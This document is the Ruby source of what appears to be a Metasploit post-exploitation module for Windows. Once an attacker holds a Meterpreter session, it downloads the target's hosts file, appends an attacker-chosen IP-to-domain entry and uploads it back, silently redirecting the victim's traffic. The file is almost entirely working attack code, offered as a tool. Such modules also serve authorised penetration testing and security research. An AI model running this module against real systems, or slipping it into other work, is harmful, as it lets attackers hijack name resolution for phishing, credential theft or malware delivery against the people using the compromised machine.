72 lines
1.9 KiB
Ruby
72 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows hosts file injection',
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'Description' => %q{
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This module allows the attacker to insert a new entry into the target
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system's hosts file.
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},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('DOMAIN', [ true, 'Domain name for host file manipulation.' ]),
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OptString.new('IP', [ true, 'IP address to point domain name to.' ])
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], self.class)
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end
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def run
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if datastore['IP'].nil? or datastore['DOMAIN'].nil?
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print_error("Please specify both DOMAIN and IP")
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return
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end
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ip = datastore['IP']
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hostname = datastore['DOMAIN']
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# Get a temporary file path
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meterp_temp = Tempfile.new('meterp')
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meterp_temp.binmode
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temp_path = meterp_temp.path
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begin
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# Download the remote file to the temporary file
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client.fs.file.download_file(temp_path, 'C:\\WINDOWS\\System32\\drivers\\etc\\hosts')
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rescue RequestError => re
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# If the file doesn't exist, then it's okay. Otherwise, throw the
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# error.
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if re.result != 2
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raise $!
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end
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end
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print_status("Inserting hosts file entry pointing #{hostname} to #{ip}..")
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hostsfile = ::File.open(temp_path, 'ab')
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hostsfile.write("\r\n#{ip}\t#{hostname}")
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hostsfile.close()
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client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', temp_path)
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print_good("Done!")
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end
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end
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